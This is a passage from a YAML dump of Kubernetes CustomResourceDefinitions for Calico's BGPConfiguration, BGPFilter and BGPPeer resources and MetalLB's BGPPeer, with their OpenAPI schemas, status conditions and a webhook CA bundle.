                    ServiceClusterIPs are the CIDR blocks from which service cluster IPs are allocated.
                    If specified, Calico will advertise these blocks, as well as any cluster IPs within them.
                  items:
                    description: ServiceClusterIPBlock represents a single allowed
                      ClusterIP CIDR block.
                    properties:
                      cidr:
                        type: string
                    type: object
                  type: array
                serviceExternalIPs:
                  description: |-
                    ServiceExternalIPs are the CIDR blocks for Kubernetes Service External IPs.
                    Kubernetes Service ExternalIPs will only be advertised if they are within one of these blocks.
                  items:
                    description: ServiceExternalIPBlock represents a single allowed
                      External IP CIDR block.
                    properties:
                      cidr:
                        type: string
                    type: object
                  type: array
                serviceLoadBalancerIPs:
                  description: |-
                    ServiceLoadBalancerIPs are the CIDR blocks for Kubernetes Service LoadBalancer IPs.
                    Kubernetes Service status.LoadBalancer.Ingress IPs will only be advertised if they are within one of these blocks.
                  items:
                    description: ServiceLoadBalancerIPBlock represents a single allowed
                      LoadBalancer IP CIDR block.
                    properties:
                      cidr:
                        type: string
                    type: object
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: BGPConfiguration
      listKind: BGPConfigurationList
      plural: bgpconfigurations
      singular: bgpconfiguration
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"bgpfilters.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"BGPFilter","listKind":"BGPFilterList","plural":"bgpfilters","singular":"bgpfilter"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"BGPFilterSpec contains the IPv4 and IPv6 filter rules of the BGP Filter.","properties":{"exportV4":{"description":"The ordered set of IPv4 BGPFilter rules acting on exporting routes to a peer.","items":{"description":"BGPFilterRuleV4 defines a BGP filter rule consisting a single IPv4 CIDR block and a filter action for this CIDR.","properties":{"action":{"type":"string"},"cidr":{"type":"string"},"interface":{"type":"string"},"matchOperator":{"type":"string"},"prefixLength":{"properties":{"max":{"format":"int32","maximum":32,"minimum":0,"type":"integer"},"min":{"format":"int32","maximum":32,"minimum":0,"type":"integer"}},"type":"object"},"source":{"type":"string"}},"required":["action"],"type":"object"},"type":"array"},"exportV6":{"description":"The ordered set of IPv6 BGPFilter rules acting on exporting routes to a peer.","items":{"description":"BGPFilterRuleV6 defines a BGP filter rule consisting a single IPv6 CIDR block and a filter action for this CIDR.","properties":{"action":{"type":"string"},"cidr":{"type":"string"},"interface":{"type":"string"},"matchOperator":{"type":"string"},"prefixLength":{"properties":{"max":{"format":"int32","maximum":128,"minimum":0,"type":"integer"},"min":{"format":"int32","maximum":128,"minimum":0,"type":"integer"}},"type":"object"},"source":{"type":"string"}},"required":["action"],"type":"object"},"type":"array"},"importV4":{"description":"The ordered set of IPv4 BGPFilter rules acting on importing routes from a peer.","items":{"description":"BGPFilterRuleV4 defines a BGP filter rule consisting a single IPv4 CIDR block and a filter action for this CIDR.","properties":{"action":{"type":"string"},"cidr":{"type":"string"},"interface":{"type":"string"},"matchOperator":{"type":"string"},"prefixLength":{"properties":{"max":{"format":"int32","maximum":32,"minimum":0,"type":"integer"},"min":{"format":"int32","maximum":32,"minimum":0,"type":"integer"}},"type":"object"},"source":{"type":"string"}},"required":["action"],"type":"object"},"type":"array"},"importV6":{"description":"The ordered set of IPv6 BGPFilter rules acting on importing routes from a peer.","items":{"description":"BGPFilterRuleV6 defines a BGP filter rule consisting a single IPv6 CIDR block and a filter action for this CIDR.","properties":{"action":{"type":"string"},"cidr":{"type":"string"},"interface":{"type":"string"},"matchOperator":{"type":"string"},"prefixLength":{"properties":{"max":{"format":"int32","maximum":128,"minimum":0,"type":"integer"},"min":{"format":"int32","maximum":128,"minimum":0,"type":"integer"}},"type":"object"},"source":{"type":"string"}},"required":["action"],"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: bgpfilters.crd.projectcalico.org
    resourceVersion: "6820619"
    uid: e124f60e-ea49-4ce9-95e1-0e19df9cae65
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: BGPFilter
      listKind: BGPFilterList
      plural: bgpfilters
      singular: bgpfilter
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: BGPFilterSpec contains the IPv4 and IPv6 filter rules of
                the BGP Filter.
              properties:
                exportV4:
                  description: The ordered set of IPv4 BGPFilter rules acting on exporting
                    routes to a peer.
                  items:
                    description: BGPFilterRuleV4 defines a BGP filter rule consisting
                      a single IPv4 CIDR block and a filter action for this CIDR.
                    properties:
                      action:
                        type: string
                      cidr:
                        type: string
                      interface:
                        type: string
                      matchOperator:
                        type: string
                      prefixLength:
                        properties:
                          max:
                            format: int32
                            maximum: 32
                            minimum: 0
                            type: integer
                          min:
                            format: int32
                            maximum: 32
                            minimum: 0
                            type: integer
                        type: object
                      source:
                        type: string
                    required:
                    - action
                    type: object
                  type: array
                exportV6:
                  description: The ordered set of IPv6 BGPFilter rules acting on exporting
                    routes to a peer.
                  items:
                    description: BGPFilterRuleV6 defines a BGP filter rule consisting
                      a single IPv6 CIDR block and a filter action for this CIDR.
                    properties:
                      action:
                        type: string
                      cidr:
                        type: string
                      interface:
                        type: string
                      matchOperator:
                        type: string
                      prefixLength:
                        properties:
                          max:
                            format: int32
                            maximum: 128
                            minimum: 0
                            type: integer
                          min:
                            format: int32
                            maximum: 128
                            minimum: 0
                            type: integer
                        type: object
                      source:
                        type: string
                    required:
                    - action
                    type: object
                  type: array
                importV4:
                  description: The ordered set of IPv4 BGPFilter rules acting on importing
                    routes from a peer.
                  items:
                    description: BGPFilterRuleV4 defines a BGP filter rule consisting
                      a single IPv4 CIDR block and a filter action for this CIDR.
                    properties:
                      action:
                        type: string
                      cidr:
                        type: string
                      interface:
                        type: string
                      matchOperator:
                        type: string
                      prefixLength:
                        properties:
                          max:
                            format: int32
                            maximum: 32
                            minimum: 0
                            type: integer
                          min:
                            format: int32
                            maximum: 32
                            minimum: 0
                            type: integer
                        type: object
                      source:
                        type: string
                    required:
                    - action
                    type: object
                  type: array
                importV6:
                  description: The ordered set of IPv6 BGPFilter rules acting on importing
                    routes from a peer.
                  items:
                    description: BGPFilterRuleV6 defines a BGP filter rule consisting
                      a single IPv6 CIDR block and a filter action for this CIDR.
                    properties:
                      action:
                        type: string
                      cidr:
                        type: string
                      interface:
                        type: string
                      matchOperator:
                        type: string
                      prefixLength:
                        properties:
                          max:
                            format: int32
                            maximum: 128
                            minimum: 0
                            type: integer
                          min:
                            format: int32
                            maximum: 128
                            minimum: 0
                            type: integer
                        type: object
                      source:
                        type: string
                    required:
                    - action
                    type: object
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: BGPFilter
      listKind: BGPFilterList
      plural: bgpfilters
      singular: bgpfilter
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"bgppeers.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"BGPPeer","listKind":"BGPPeerList","plural":"bgppeers","singular":"bgppeer"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"BGPPeerSpec contains the specification for a BGPPeer resource.","properties":{"asNumber":{"description":"The AS Number of the peer.","format":"int32","type":"integer"},"filters":{"description":"The ordered set of BGPFilters applied on this BGP peer.","items":{"type":"string"},"type":"array"},"keepOriginalNextHop":{"description":"Option to keep the original nexthop field when routes are sent to a BGP Peer.\nSetting \"true\" configures the selected BGP Peers node to use the \"next hop keep;\"\ninstead of \"next hop self;\"(default) in the specific branch of the Node on \"bird.cfg\".\nNote: that this field is deprecated. Users should use the NextHopMode field to control\nthe next hop attribute for a BGP peer.","type":"boolean"},"localWorkloadSelector":{"description":"Selector for the local workload that the node should peer with. When this is set, the peerSelector and peerIP fields must be empty,\nand the ASNumber must not be empty.","type":"string"},"maxRestartTime":{"description":"Time to allow for software restart.  When specified, this is configured as the graceful\nrestart timeout.  When not specified, the BIRD default of 120s is used.","type":"string"},"nextHopMode":{"allOf":[{"enum":["Auto","Self","Keep"]},{"enum":["Auto","Self","Keep"]}],"description":"NextHopMode defines the method of calculating the next hop attribute for received routes.\nThis replaces and expands the deprecated KeepOriginalNextHop field.\nUsers should use this setting to control the next hop attribute for a BGP peer.\nWhen this is set, the value of the KeepOriginalNextHop field is ignored.\nif neither keepOriginalNextHop or nextHopMode is specified, BGP's default behaviour is used.\nSet it to “Auto” to apply BGP’s default behaviour.\nSet it to \"Self\" to configure \"next hop self;\" in \"bird.cfg\".\nSet it to \"Keep\" to configure \"next hop keep;\" in \"bird.cfg\".","type":"string"},"node":{"description":"The node name identifying the Calico node instance that is targeted by this peer.\nIf this is not set, and no nodeSelector is specified, then this BGP peer selects all\nnodes in the cluster.","type":"string"},"nodeSelector":{"description":"Selector for the nodes that should have this peering.  When this is set, the Node\nfield must be empty.","type":"string"},"numAllowedLocalASNumbers":{"description":"Maximum number of local AS numbers that are allowed in the AS path for received routes.\nThis removes BGP loop prevention and should only be used if absolutely necessary.","format":"int32","type":"integer"},"password":{"description":"Optional BGP password for the peerings generated by this BGPPeer resource.","properties":{"secretKeyRef":{"description":"Selects a key of a secret in the node pod's namespace.","properties":{"key":{"description":"The key of the secret to select from.  Must be a valid secret key.","type":"string"},"name":{"default":"","description":"Name of the referent.\nThis field is effectively required, but due to backwards compatibility is\nallowed to be empty. Instances of this type with an empty value here are\nalmost certainly wrong.\nMore info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names","type":"string"},"optional":{"description":"Specify whether the Secret or its key must be defined","type":"boolean"}},"required":["key"],"type":"object","x-kubernetes-map-type":"atomic"}},"type":"object"},"peerIP":{"description":"The IP address of the peer followed by an optional port number to peer with.\nIf port number is given, format should be `[\u003cIPv6\u003e]:port` or `\u003cIPv4\u003e:\u003cport\u003e` for IPv4.\nIf optional port number is not set, and this peer IP and ASNumber belongs to a calico/node\nwith ListenPort set in BGPConfiguration, then we use that port to peer.","type":"string"},"peerSelector":{"description":"Selector for the remote nodes to peer with.  When this is set, the PeerIP and\nASNumber fields must be empty.  For each peering between the local node and\nselected remote nodes, we configure an IPv4 peering if both ends have\nNodeBGPSpec.IPv4Address specified, and an IPv6 peering if both ends have\nNodeBGPSpec.IPv6Address specified.  The remote AS number comes from the remote\nnode's NodeBGPSpec.ASNumber, or the global default if that is not set.","type":"string"},"reachableBy":{"description":"Add an exact, i.e. /32, static route toward peer IP in order to prevent route flapping.\nReachableBy contains the address of the gateway which peer can be reached by.","type":"string"},"reversePeering":{"description":"ReversePeering, for peerings between Calico nodes controls whether\nthe reverse peering from nodes selected by peerSelector is generated\nautomatically. If set to Manual, a separate BGPPeer must be created\nfor the reverse peering. [Default: Auto]","enum":["Auto","Manual"],"type":"string"},"sourceAddress":{"description":"Specifies whether and how to configure a source address for the peerings generated by\nthis BGPPeer resource.  Default value \"UseNodeIP\" means to configure the node IP as the\nsource address.  \"None\" means not to configure a source address.","type":"string"},"ttlSecurity":{"description":"TTLSecurity enables the generalized TTL security mechanism (GTSM) which protects against spoofed packets by\nignoring received packets with a smaller than expected TTL value. The provided value is the number of hops\n(edges) between the peers.","type":"integer"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: bgppeers.crd.projectcalico.org
    resourceVersion: "6820624"
    uid: 8cb2dc3f-476f-4229-af30-35942e462dfa
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: BGPPeer
      listKind: BGPPeerList
      plural: bgppeers
      singular: bgppeer
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: BGPPeerSpec contains the specification for a BGPPeer resource.
              properties:
                asNumber:
                  description: The AS Number of the peer.
                  format: int32
                  type: integer
                filters:
                  description: The ordered set of BGPFilters applied on this BGP peer.
                  items:
                    type: string
                  type: array
                keepOriginalNextHop:
                  description: |-
                    Option to keep the original nexthop field when routes are sent to a BGP Peer.
                    Setting "true" configures the selected BGP Peers node to use the "next hop keep;"
                    instead of "next hop self;"(default) in the specific branch of the Node on "bird.cfg".
                    Note: that this field is deprecated. Users should use the NextHopMode field to control
                    the next hop attribute for a BGP peer.
                  type: boolean
                localWorkloadSelector:
                  description: |-
                    Selector for the local workload that the node should peer with. When this is set, the peerSelector and peerIP fields must be empty,
                    and the ASNumber must not be empty.
                  type: string
                maxRestartTime:
                  description: |-
                    Time to allow for software restart.  When specified, this is configured as the graceful
                    restart timeout.  When not specified, the BIRD default of 120s is used.
                  type: string
                nextHopMode:
                  allOf:
                  - enum:
                    - Auto
                    - Self
                    - Keep
                  - enum:
                    - Auto
                    - Self
                    - Keep
                  description: |-
                    NextHopMode defines the method of calculating the next hop attribute for received routes.
                    This replaces and expands the deprecated KeepOriginalNextHop field.
                    Users should use this setting to control the next hop attribute for a BGP peer.
                    When this is set, the value of the KeepOriginalNextHop field is ignored.
                    if neither keepOriginalNextHop or nextHopMode is specified, BGP's default behaviour is used.
                    Set it to “Auto” to apply BGP’s default behaviour.
                    Set it to "Self" to configure "next hop self;" in "bird.cfg".
                    Set it to "Keep" to configure "next hop keep;" in "bird.cfg".
                  type: string
                node:
                  description: |-
                    The node name identifying the Calico node instance that is targeted by this peer.
                    If this is not set, and no nodeSelector is specified, then this BGP peer selects all
                    nodes in the cluster.
                  type: string
                nodeSelector:
                  description: |-
                    Selector for the nodes that should have this peering.  When this is set, the Node
                    field must be empty.
                  type: string
                numAllowedLocalASNumbers:
                  description: |-
                    Maximum number of local AS numbers that are allowed in the AS path for received routes.
                    This removes BGP loop prevention and should only be used if absolutely necessary.
                  format: int32
                  type: integer
                password:
                  description: Optional BGP password for the peerings generated by
                    this BGPPeer resource.
                  properties:
                    secretKeyRef:
                      description: Selects a key of a secret in the node pod's namespace.
                      properties:
                        key:
                          description: The key of the secret to select from.  Must
                            be a valid secret key.
                          type: string
                        name:
                          default: ""
                          description: |-
                            Name of the referent.
                            This field is effectively required, but due to backwards compatibility is
                            allowed to be empty. Instances of this type with an empty value here are
                            almost certainly wrong.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                        optional:
                          description: Specify whether the Secret or its key must
                            be defined
                          type: boolean
                      required:
                      - key
                      type: object
                      x-kubernetes-map-type: atomic
                  type: object
                peerIP:
                  description: |-
                    The IP address of the peer followed by an optional port number to peer with.
                    If port number is given, format should be `[<IPv6>]:port` or `<IPv4>:<port>` for IPv4.
                    If optional port number is not set, and this peer IP and ASNumber belongs to a calico/node
                    with ListenPort set in BGPConfiguration, then we use that port to peer.
                  type: string
                peerSelector:
                  description: |-
                    Selector for the remote nodes to peer with.  When this is set, the PeerIP and
                    ASNumber fields must be empty.  For each peering between the local node and
                    selected remote nodes, we configure an IPv4 peering if both ends have
                    NodeBGPSpec.IPv4Address specified, and an IPv6 peering if both ends have
                    NodeBGPSpec.IPv6Address specified.  The remote AS number comes from the remote
                    node's NodeBGPSpec.ASNumber, or the global default if that is not set.
                  type: string
                reachableBy:
                  description: |-
                    Add an exact, i.e. /32, static route toward peer IP in order to prevent route flapping.
                    ReachableBy contains the address of the gateway which peer can be reached by.
                  type: string
                reversePeering:
                  description: |-
                    ReversePeering, for peerings between Calico nodes controls whether
                    the reverse peering from nodes selected by peerSelector is generated
                    automatically. If set to Manual, a separate BGPPeer must be created
                    for the reverse peering. [Default: Auto]
                  enum:
                  - Auto
                  - Manual
                  type: string
                sourceAddress:
                  description: |-
                    Specifies whether and how to configure a source address for the peerings generated by
                    this BGPPeer resource.  Default value "UseNodeIP" means to configure the node IP as the
                    source address.  "None" means not to configure a source address.
                  type: string
                ttlSecurity:
                  description: |-
                    TTLSecurity enables the generalized TTL security mechanism (GTSM) which protects against spoofed packets by
                    ignoring received packets with a smaller than expected TTL value. The provided value is the number of hops
                    (edges) between the peers.
                  type: integer
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: BGPPeer
      listKind: BGPPeerList
      plural: bgppeers
      singular: bgppeer
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.2
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 2
    labels:
      app.kubernetes.io/managed-by: Helm
    name: bgppeers.metallb.io
    resourceVersion: "57987"
    uid: 280ce8b2-e40a-4f0b-b3ea-50f7d5d9940b
  spec:
    conversion:
      strategy: Webhook
      webhook:
        clientConfig:
          caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURFRENDQWZpZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFoTVJBd0RnWURWUVFLRXdkdFpYUmgKYkd4aU1RMHdDd1lEVlFRREV3UmpaWEowTUI0WERUSTFNRGt5TVRFM01UUXdNRm9YRFRNMU1Ea3hPVEU0TVRRdwpNRm93SVRFUU1BNEdBMVVFQ2hNSGJXVjBZV3hzWWpFTk1Bc0dBMVVFQXhNRVkyVnlkRENDQVNJd0RRWUpLb1pJCmh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBS3QvZmp3Y3plWlpqT2VDamVQNUtDMGtWZHR0YjRtU3NMYlkKQTl2REZvWGV3OTVDdVdBczVlZkZJWXlYbHdmNWttQVJGZFkvYThLdm5QdlhVTVVkR3FLL0NEUklBdjlmSlk3aQpLcGt4WnpUSXB5QjU4YjJ5WW5JdmNXT0szL2huSlRIbXY5bGtsWXkwSTZoUFZ3c0pheGhnU2Q4UWo2eFpuZUQzCjFoTVlTWUVOMVhZRlNjYmU4VTFpbVlOUVJ6bWwyQytkaG16QmZYNVRLNTVRdytzV2laZElCbXJlMjlyNWgreWUKQ3hhS2YxczZUQlNpUFBOa3hqMGFQS21id1BRMWw5Uk5ZSTd2UXRLZ09LZDZGSStEanhmbnFNakFxZllVOGo2SQpDWGExdXAzb2xJanlqNktZVi9HVXNsUFBXQTAxN0Vkc0hQemtNUVZMNXV1S01kQlJmc3NDQXdFQUFhTlRNRkV3CkRnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME9CQllFRkV3QStIUFYKWTY1MmVWa09SS2I3NTl6cE1xdGVNQThHQTFVZEVRUUlNQWFDQkdObGNuUXdEUVlKS29aSWh2Y05BUUVMQlFBRApnZ0VCQUg3UG5DWXJJb1NsZ29qSDdoenpta2ptR3VPT3F5NEpURWpSZGZRWDNyMzZ2TlplU1JCRWFjKzlJTXlGCmR1dzNVOUkweHZmL3RFd2Q1djZ1enBra1dVNTN3N3ovUUhLODNROXN3QkZiR3lBOUh5Z0QyM3pMUWlOSS9mcWQKNzJnT2x1YmNocmpXNHBSQUdid2hmTGV4MG1zWjJ2VmRFY1hyQWpwbWttNDltVzVKc2FYTE83ell2TVpzODNBUQpWZnl4SUZwSHdDcHRORFpQUnR3blo5WjIwL01uMDQ4dUgxb1pib1kreFVHUzA2MFBmNFA5OXJyb25lUEthZEc5CnRGeFNvRnlKT1lsMVFyNHlsZ0NHN3R3dTRZQTdWM01wT0RONTRVNUpBRm1oTHRlVVRZTXFzNGorNkpCV2VRMUoKWlRHZE41QVhjSXU3aE9tczBxRENnTGVFNDdRPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
          service:
            name: metallb-webhook-service
            namespace: metallb-system
            path: /convert
            port: 443
        conversionReviewVersions:
        - v1beta1
        - v1beta2
    group: metallb.io
    names:
      kind: BGPPeer
      listKind: BGPPeerList
      plural: bgppeers
      singular: bgppeer
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .spec.peerAddress
        name: Address
        type: string
      - jsonPath: .spec.peerASN
        name: ASN
        type: string
      - jsonPath: .spec.bfdProfile
        name: BFD Profile
        type: string
      - jsonPath: .spec.ebgpMultiHop
        name: Multi Hops
        type: string
      deprecated: true
      deprecationWarning: v1beta1 is deprecated, please use v1beta2
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: BGPPeer is the Schema for the peers API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: BGPPeerSpec defines the desired state of Peer.
              properties:
                bfdProfile:
                  type: string
                ebgpMultiHop:
                  description: EBGP peer is multi-hops away
                  type: boolean
                holdTime:
                  description: Requested BGP hold time, per RFC4271.
                  type: string
                keepaliveTime:
                  description: Requested BGP keepalive time, per RFC4271.
                  type: string
                myASN:
                  description: AS number to use for the local end of the session.
                  format: int32
                  maximum: 4294967295
                  minimum: 0
                  type: integer
                nodeSelectors:
                  description: |-
                    Only connect to this peer on nodes that match one of these
                    selectors.
                  items:
                    properties:
                      matchExpressions:
                        items:
                          properties:
                            key:
                              type: string
                            operator:
                              type: string
                            values:
                              items:
                                type: string
                              minItems: 1
                              type: array
                          required:
                          - key
                          - operator
                          - values
                          type: object
                        type: array
                      matchLabels:
                        additionalProperties:
                          type: string
                        type: object
                    type: object
                  type: array
                password:
                  description: Authentication password for routers enforcing TCP MD5
                    authenticated sessions
                  type: string
                peerASN:
                  description: AS number to expect from the remote end of the session.
                  format: int32
                  maximum: 4294967295
                  minimum: 0
                  type: integer
                peerAddress:
                  description: Address to dial when establishing the session.
                  type: string
                peerPort:
                  description: Port to dial when establishing the session.
                  maximum: 16384
                  minimum: 0
                  type: integer
                routerID:
                  description: BGP router ID to advertise to the peer
                  type: string
                sourceAddress:
                  description: Source address to use when establishing the session.
                  type: string
              required:
              - myASN
              - peerASN
              - peerAddress
              type: object
            status:
              description: BGPPeerStatus defines the observed state of Peer.
              type: object
          type: object
      served: true
      storage: false
      subresources:
        status: {}
    - additionalPrinterColumns:
      - jsonPath: .spec.peerAddress
        name: Address
        type: string
      - jsonPath: .spec.peerASN
        name: ASN
        type: string
      - jsonPath: .spec.bfdProfile
        name: BFD Profile
        type: string
      - jsonPath: .spec.ebgpMultiHop
        name: Multi Hops
        type: string
      name: v1beta2
      schema:
        openAPIV3Schema:
          description: BGPPeer is the Schema for the peers API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: BGPPeerSpec defines the desired state of Peer.
              properties:
                bfdProfile:
                  description: The name of the BFD Profile to be used for the BFD
                    session associated to the BGP session. If not set, the BFD session
                    won't be set up.
                  type: string
                connectTime:
                  description: Requested BGP connect time, controls how long BGP waits
                    between connection attempts to a neighbor.
                  type: string
                  x-kubernetes-validations:
                  - message: connect time should be between 1 seconds to 65535
                    rule: duration(self).getSeconds() >= 1 && duration(self).getSeconds()
                      <= 65535
                  - message: connect time should contain a whole number of seconds
                    rule: duration(self).getMilliseconds() % 1000 == 0
                disableMP:
                  default: false
                  description: |-
                    To set if we want to disable MP BGP that will separate IPv4 and IPv6 route exchanges into distinct BGP sessions.
                    Deprecated: DisableMP is deprecated in favor of dualStackAddressFamily.
                  type: boolean
                dualStackAddressFamily:
                  default: false
                  description: |-
                    To set if we want to enable the neighbor not only for the ipfamily related to its session,
                    but also the other one. This allows to advertise/receive IPv4 prefixes over IPv6 sessions and vice versa.
                  type: boolean
                dynamicASN:
                  description: |-
                    DynamicASN detects the AS number to use for the remote end of the session
                    without explicitly setting it via the ASN field. Limited to:
                    internal - if the neighbor's ASN is different than MyASN connection is denied.
                    external - if the neighbor's ASN is the same as MyASN the connection is denied.
                    ASN and DynamicASN are mutually exclusive and one of them must be specified.
                  enum:
                  - internal
                  - external
                  type: string
                ebgpMultiHop:
                  description: To set if the BGPPeer is multi-hops away. Needed for
                    FRR mode only.
                  type: boolean
                enableGracefulRestart:
                  description: |-
                    EnableGracefulRestart allows BGP peer to continue to forward data packets
                    along known routes while the routing protocol information is being
                    restored. This field is immutable because it requires restart of the BGP
                    session. Supported for FRR mode only.
                  type: boolean
                  x-kubernetes-validations:
                  - message: EnableGracefulRestart cannot be changed after creation
                    rule: self == oldSelf
                holdTime:
                  description: Requested BGP hold time, per RFC4271.
                  type: string
                interface:
                  description: |-
                    Interface is the node interface over which the unnumbered BGP peering will
                    be established. No API validation takes place as that string value
                    represents an interface name on the host and if user provides an invalid
                    value, only the actual BGP session will not be established.
                    Address and Interface are mutually exclusive and one of them must be specified.
                  type: string
                keepaliveTime:
                  description: Requested BGP keepalive time, per RFC4271.
                  type: string
                myASN:
                  description: AS number to use for the local end of the session.
                  format: int32
                  maximum: 4294967295
                  minimum: 0
                  type: integer
                nodeSelectors:
                  description: |-
                    Only connect to this peer on nodes that match one of these
                    selectors.
                  items:
                    description: |-
                      A label selector is a label query over a set of resources. The result of matchLabels and
                      matchExpressions are ANDed. An empty label selector matches all objects. A null
                      label selector matches no objects.
                    properties:
                      matchExpressions:
                        description: matchExpressions is a list of label selector
                          requirements. The requirements are ANDed.
                        items:
                          description: |-
                            A label selector requirement is a selector that contains values, a key, and an operator that
                            relates the key and values.
                          properties:
                            key:
                              description: key is the label key that the selector
                                applies to.
                              type: string
                            operator:
                              description: |-
                                operator represents a key's relationship to a set of values.
                                Valid operators are In, NotIn, Exists and DoesNotExist.
                              type: string
                            values:
                              description: |-
                                values is an array of string values. If the operator is In or NotIn,
